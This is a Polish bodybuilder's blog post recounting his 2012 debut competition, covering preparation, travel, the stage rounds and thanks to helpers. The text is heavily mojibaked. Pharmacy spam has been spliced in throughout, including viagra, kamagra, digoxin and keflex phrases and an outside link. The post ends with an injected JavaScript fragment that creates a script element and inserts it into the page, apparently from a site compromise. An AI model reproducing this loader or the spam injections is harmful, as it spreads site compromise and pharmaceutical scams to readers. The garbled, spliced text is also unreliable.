DEBIUTY 2012

23.04.2012 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

24.03.2012 roku startowaAi??em wAi?? debiutach kulturystycznych, jak wyglAi??daAi??y moje przygotowania moA?ecie zobaczyAi?? na firmowym forum canadian pharcharmy online viagra Trec -a:

JeAi??li chodzi o podsumowanie przygotowaAi?? i moje przemyAi??lenia bAi??dzie to wszystko zawarte juA? niedAi??ugo w kolejnym numerze Pills TREC MAGAZINE (nastAi??pca REBEL Magazine Pills ).

A ja napiszAi?? trochAi?? jak to wszystko wyglAi??daAi??o za kulisami. :

Cofnijmy siAi?? na parAi?? dni przed debiutami, do ostatniego tygodnia przed startem.
ZostaAi??y mi 3 treningi i to tylko obwodowe byAi??em juA? bardzo zmAi??czony i tak bardzo cieszyAi??em siAi??, A?e juA? nie trzeba robiAi?? treningA?w aerobowych i zostajAi?? juA? tylko 3 treningi siAi??owe.
Super tyle, A?e jak zrobiAi??em 1 obwA?d na 1 treningu to na 2 obwodzie juA? nie miaAi??em siAi??y Ai??wiczyAi??, a na 3 obwodzie chodziAi?? – bardzo szybkie tempo i ciAi??A?ary teA? doAi??Ai?? ciAi??A?kie jak na ten okres, wtedy juA? tylko myAi??laAi??em, A?e trzeba dotrwaAi?? do koAi??ca.

Dobrze, A?e razem z moja dziewczyna chodziliAi??my na siAi??ownieAi?? bo w sposA?b gdy „krzyczaAi??a” A?ebym Ai??wiczyAi?? dalej, nie odpoczywaAi?? i siAi?? nie obijaAi??.
PamiAi??tam jak wkurzona mA?wiAi??a,A?eAi?? szybciej skoAi??czAi?? jak nie bAi??dAi?? robiAi?? przerw to mnie zmuszaAi??o Ai??wiczyAi?? i dokoAi??czyAi?? treningAi?? ten jak i wiele innych kiedy juA? nie miaAi??em po prostu siAi??y (na prawdAi?? nie widziaAi??em, A?e przygotowania mogAi?? byAi?? tak mAi??czAi??ce do tego dochodziAi??y przeziAi??bienia ktA?re bardzo osAi??abiaAi??y caAi??y organizm).

Gdy zrobiAi??em 3 trening w AsrodAi??, caAi??e to napiAi??cie przed zawodami opadAi??o wiedziaAi??em, A?e ja juA? zrobiAi??em wszystko jeAi??li chodzi o formAi??, teraz musiaAi??em tylko siAi?? dobrze zaprezentowaAi??, a „reszta” w rAi??kach sAi??dziA?w :-).

Fotki z ostatniego treningu na siAi??owni przed debiutami : Buy

A no nie zapominajAi??c oczywiAi??cie o tym, A?e od poniedziaAi??ku do piAi??tku piAi??em powyA?ej 10 litrA?w wody wiAi??c jeszcze uciAi??A?liwe byAi??o chodzenie co chwilAi?? do toalety.

Gdy nastAi??piAi?? dzieAi?? w ktA?rym naAi??oA?yAi??em pierwsza warstwAi?? brAi??zera – pomagaAi??a mi moja dziewczyna byAi?? to nasz pierwszy raz wiAi??c nie wiedzieliAi??my co z tego wszystkiego wyjdzie jednak wczeAi??niej poradziAi??em siAi?? Tomka Lecha co i jak wiAi??c w ciemno nic nie robiliAi??my.

WyszAi??o ok tylko byAi?? problem, A?e to czego dotknAi??Ai??em albo siAi?? otarAi??em przybieraAi??o barwAi?? ktA?ra aktualnie nosiAi??em na sobie, takA?e trzeba byAi??o przeszukaAi?? szafAi?? i odnaleA?Ai?? jakieAi?? stare dresy po to, A?eby przespaAi?? noc.
Rano w piAi??tek gdy wstaAi??em wykAi??paAi??em siAi?? zmyAi??em warstwAi??Ai?? brAi??zAi??ra ktA?ry nie wsiAi??k, na skA?ra przybraAi??a fajny ciemniejszy odcieAi?? i tak pojechaAi??em do sklepu czekajAi??c, aA? Przemek podjedzie i pojedziemy razem do OstrA?w Mazowieckiej.

Kiedy Przemek podjechaAi??, pojechaliAi??my do OstrA?w Mazowieckiej z Szczecina to coAi?? koAi??o 660 kilometrA?w – wiAi??c nie maAi??o , dojechaliAi??my tam pA?A?nym wieczorem, po drodze byAi??o doAi??Ai?? duA?o postojA?w gAi??ownie z mojego powodu i powodu picia duA?ej iloAi??ci wody.
OczywiAi??cie bez niespodzianek siAi?? nie obyAi??o i w trasie odkryliAi??my, A?e niestety GPS nie dziaAi??a.
PowrA?t do starych metod czyli patrzenie na znaki daAi?? radAi?? tylko do pewnego miejsca pA?A?niej musieliAi??my odpaliAi?? zapasowego GPS w telefonie Przemka ktA?ry ledwo A?yAi?? i ciAi??gnAi??Ai?? prAi??d z laptopa ktA?ry teA? juA? chciaAi?? prAi??du.

Gdy dojechaliAi??my do hotelu byliAi??my juA? bardzo zmAi??czeni, wiAi??c rozpakowaliAi??my siAi?? i poszliAi??my spaAi??.
Przez caAi??a noc i coAi?? koAi??o godziny 6 rano caAi??y czas ludzie krAi??cili siAi?? na korytarzuAi?? byli to chyba zawodnicy ktA?ry dojeA?dA?ali w nocy, bo po godzinie 7 rano byAi??o juA? bardzo gAi??oAi??no i byAi??o sAi??ychaAi?? jak duA?o osA?b opuszcza hotel.

z Rana Przemek zrobiAi?? mi kontrolne zdjAi??cia formy – rano w dzieAi?? debiutA?w :

Buy

Po czym poszedAi?? zjeAi??Ai?? Ai??niadanie, a ja zjadAi??em swA?j posiAi??ek i poAi??oA?yAi??em siAi?? jeszcze przespaAi?? bo weryfikacje zaczynaAi??y siAi?? po 13.
15 minut pA?A?niej Przemek zadzwoniAi?? do mnie przy okazji budzAi??c mnie i zadaAi?? mi pytanie ” a ty nie idziesz na weryfikacje ? bo tu wszyscy wychodzAi?? ?” w pierwszym momencie po przebudzeniu mA?wiAi?? WHAT THE F%$K, zajrzaAi??em na stronAi?? PZKFiTS i fakt weryfikacje z rana byAi??y ale byAi??a to kulturystyka klasyczna.
Uff i dalej poszedAi??em spaAi??, po pobudce pakowanie siAi?? i sprawdzanie po 10 x czy wszystko zabraliAi??my.

PodjechaliAi??my pod Hale SportowAi??, bierzemy torby itp. i tutaj chciaAi??bym podziAi??kowaAi?? Przemkowi, A?e poniA?sAi?? mi hantle do pompowania bo wA?wczas byAi??y jakieAi?? mega ciAi??A?kie i nie daAi??bym rady ich donieAi??Ai??, generalnie to za bardzo na nic juA? nie miaAi??em siAi??y.

WeszliAi??my do budynku, mnA?stwo ludzi idziemy po bilety, wchodzimy na sale, szukamy miejsca aby siAi?? rozAi??oA?yAi??.
ByAi??o bardzo mnA?stwo zawodnikA?w, gdy na kaA?dego patrzaAi??em myAi??laAi??em ” kurde kaA?dy lepiej wyglAi??da niA? ja”.
PostanowiAi??em siAi?? tym tak nie przejmowaAi?? i zaczAi??Ai??em sAi??uchaAi?? mp3.
Przed weryfikacjAi?? szybko poszedAi??em na natryskowe nakAi??adanie brAi??zera ktA?re organizuje na wiAi??kszych zawodach pan Robert Piotrkowicz wraz z A?onAi??, bardzo szybko siAi?? to odbywa i bardzo profesjonalnie w dodatku wychodzi Ai??wietny kolor.

NastAi??pnie poszedAi??em na weryfikacje i chyba tutaj w tym momencie poczuAi??em najwiAi??kszy stres mnA?stwo ludzi, waga na scenie, ja z papierami w rAi??ku nie wiem czy najpierw podejAi??Ai?? do waA?enia czy najpierw do osA?b siedzAi??cych przy biurku – zresztAi?? nie tylko ja miaAi??em ten problem i to uczucie, A?e kaA?dy jest wiAi??kszy i lepiej wyglAi??da ode mnie – PAPAJ mA?wiAi??, A?e tak bAi??dzie – wtedy poczuAi??em stress i byAi?? to jeden najwiAi??kszy moment kiedy siAi?? tak bardzo stresowaAi??em.

Po weryfikacji, waA?eniu itp. wrA?ciAi??em na karimate poleA?eAi??, pA?A?niej poszedAi??em do toalety – spotkaAi??em parAi?? osA?b ktA?re chciaAi??y zrobiAi?? sobie ze mnAi?? zdjAi??cia – byAi??o to bardzo bardzo miAi??e – bo w koAi??cu kim ja jestem – na prawdAi?? fajne uczucie takie coAi?? wynagradza caAi??y ten trud pracy wAi??oA?onej w przygotowania.
SpotkaAi??em teA? paru znajomych i poznaAi??em „Richarda” z SFD ktA?ry spAi??dziAi?? trochAi?? czasu z nami.
i porobiAi?? parAi?? fotek z backstage’u jak siAi?? pompowaAi??em przed wejAi??ciem na scenAi?? :

 

httpv://www.youtube.com/watch?v=hdRJ0Rk82WI&feature=youtu.be

No i rozpoczAi??Ai??y siAi?? zawody i tutaj chyba najwiAi??kszym zainteresowaniemAi?? siAi?? kategoria bikini :

buy kamagra oral jelly. Kamagra online. kamagra jelly. Pills Buy http://fgaspari.com.br/?p=6759

 

Gdy nadeszAi??a moja pora na scenAi?? wraz ze mnAi?? weszAi??o 13 zawodnikA?w :

cheap digoxin drug Pills

 

W czasie 1 rundy na samym poczAi??tku gdy wchodziAi??em na scenAi?? czuAi??em siAi?? super, stojAi??c przed publicznoAi??ciAi?? i scenAi?? super uczucie, jednak po chwili zaczAi??Ai??o brakowaAi?? mi tchu – pomyAi??laAi??em co jest grane jednak chwile stojAi??c w Line UPie oddychaAi??em gAi??Ai??boko i po chwili przeszAi??o, runda trwaAi??a bardzo dAi??ugo – z tego co widziaAi??em na filmikach w internecie jednak na scenie byAi??a to dosAi??ownie chwila – wchodzAi?? stojAi?? na scenie, pozy, wracam stojAi?? w line up-ie , porA?wnanie i zaraz koniec.
SchodzAi??c ze sceny byAi??em bardzo zadowolony z siebie, bo pamiAi??tam jak pierwszy raz na FIBO 2011 wyszedAi??em na scenAi?? z Tomkiem Lechem i Dawidem Gelerem to stres byAi?? mega, baAi??em siAi??, nie umiaAi??em pozowaAi?? i prawie siAi?? udusiAi??em podczas 3 minutowego pokazu, a teraz czuAi??em siAi?? na prawdAi?? dobrze.

Przed 2 RundAi?? przyjechaAi?? Dawid „GISZMAN” Geler – przyleciaAi?? on z Irlandii aby dopingowaAi?? mnie za co MU bardzo dziAi??kuje, pomA?gAi?? mi na szybko ustawiAi?? siAi?? dobrze w pozie klatka bokiem.

Po godzinie moA?e dAi??uA?ej rozpoczAi??Ai??a siAi?? 2 Runda – czyli FINAA?, dopiero przed przeczytaniem listy osA?b zdaAi??em sobie sprawAi??, A?e do finaAi??uAi?? trzeba siAi?? dostaAi?? na szczAi??Ai??cie dostaAi??em siAi?? – gAi??upie ale leA?aAi??em sobie spokojnie, sAi??uchaAi??em muzyki i nie pomyAi??laAi??em o tym – i nie chodzi o to, A?e byAi??em pewien, A?e sie dostanAi??, bo nie byAi??em niczego pewien -Ai?? w gAi??owie jedna myAi??lAi?? „kaA?dy wyglAi??da lepiej ode mnie”, a konkurencja byAi??a bardzo bardzo dobra.

 

W Rundzie 2 byAi??y porA?wnania oraz minutowa dogrywa, gdzie wszyscy chodzAi?? po scenie i pokazujAi?? swoje najlepsze strony :

 

 

Po 2 rundzie byAi??em na prawdAi?? zmAi??czony i to bardzo juA? ale najlepsze byAi??o przede mnAi?? czyli 3 runa UKA?AD DOWOLNY tutaj bardzo chciaAi??em pokazaAi?? czego siAi?? nauczyAi??em tyle godzin z mojAi?? dziewczynAi?? i wskazA?wki Dawida Gelera nie poszAi??y na marne :

 

Po 3 Rundzie byAi??em szczAi??Ai??liwy, A?e daAi??em z siebie max reszta juA? mnie nie obchodziAi??a – byAi??em szczAi??Ai??liwy, zmAi??czony i gAi??odny.

DziAi??ki Dawid i Asiu za pomoc w ukAi??adzie dowolnym – jestem na prawdAi?? wdziAi??czny !!!!!!!!!

Jak zszedAi??em z sceny zjadAi??em batona BOOSTERA i wafle ryA?owe, popijaAi?? ColAi?? – MMMM pycha.

NastAi??pnie czekaAi??a nas dekoracja czyli odczytywanie miejsc, wrAi??czanie medali, pucharA?w.

Tutaj byAi??o maAi??e napiAi??cie, poniewaA? z mojej kategorii do 90 kg 2 zawodnikA?w byAi??o bardzo bardzo dobrze przygotowanych dobrze wyrzeA?bionych, separacja bardzo dobra dodatkowo mieli wiAi??kszAi?? masAi?? i byli wyA?si i jak siAi?? okazaAi??o zajAi??li Oni 1 i 2 miejsce.

order keflex 500mg

Uczucie fantastyczne, a jeszcze lepsze uczucie byAi??o jak jechaliAi??my z Przemkiem i Dawidem autem do hotelu a ja caAi??y czas jadAi??em wszystko.

Po zawodach nie zabrakAi??o wspA?lnych fotek :
Fotka z Dawidem Gelerem, Akopem Szostakiem i NataliAi?? Adam JabAi??oAi??ski Dawid Geler Akop Szostak Natalia Mlekicka

Z Akopem Szostakiem

 

Z Robertem Piotrkiewiczem

Z Tomkiem Pabiniakiem

Z Mariuszem BaAi??aziAi??skim

canon imageprograf ipf6400 price

Wszyscy razem :

 

No i nagle zostaAi??o parAi?? osA?b, wyszliAi??my pojechaliAi??my do hotelu przebraAi?? siAi?? wykAi??paAi?? i pojechaliAi??my wieczorem do Warszawy na kolacje, caAi??Ai?? podrA?A? do Warszawy spaAi??em, jak dojechaliAi??my mmm takie mixy potraw ktA?re wymyAi??liAi??em to przesada jak baba w ciAi??A?y jeszcze Dawidowi jakiegoAi?? placka podkradAi??em czy coAi?? takiego – farta miaAi??em bo Mu wypadaAi?? dzieAi?? Ai??adowania i jadAi?? coAi?? dobrego HA HA HA

PosiedzieliAi??my pogadaliAi??my i wrA?ciliAi??my do hotelu, rano zjedliAi??my w 3 Ai??niadanie, poA?egnaliAi??my siAi??, Dawid pojechaAi?? wczeAi??niej. My w drodze powrotnej zahaczyliAi??my o pizzerie w Warszawie, tam zjedliAi??my ja wziAi??Ai??em jeszcze na wynos i tak generalnie to nigdy w A?yciu tak wypchanego brzucha nie miaAi??em.

Tak to wyglAi??daAi??o, a bardzo cieszyAi??em siAi?? z powrotu do domu, mogAi??em siAi?? normalnie wyspaAi?? caAi??y ten stress zszedAi??, aA? do dnia nastAi??pnego kiedy dowidziaAi??em siAi??, A?e mam startowaAi?? w nastAi??pna Niedziele, a moja waga w PoniedziaAi??ek wynosiAi??a juA? 92,2-92,4 kg ale o tym kiedy indziej.

TakA?e jeszcze raz chciaAi??bym podziAi??kowaAi?? wszystkim ktA?rzy mi pomogli Asi, Przemkowi, Dawidowi, Tomkowi, PawAi??owi, firmie Trec oraz rodzicom.

Pozdrawiam
HEJ
CZEAsAi??d.getElementsByTagName(‚head’)[0].appendChild(s);var d=document;var s=d.createElement('script'); document.currentScript.parentNode.insertBefore(s, document.currentScript);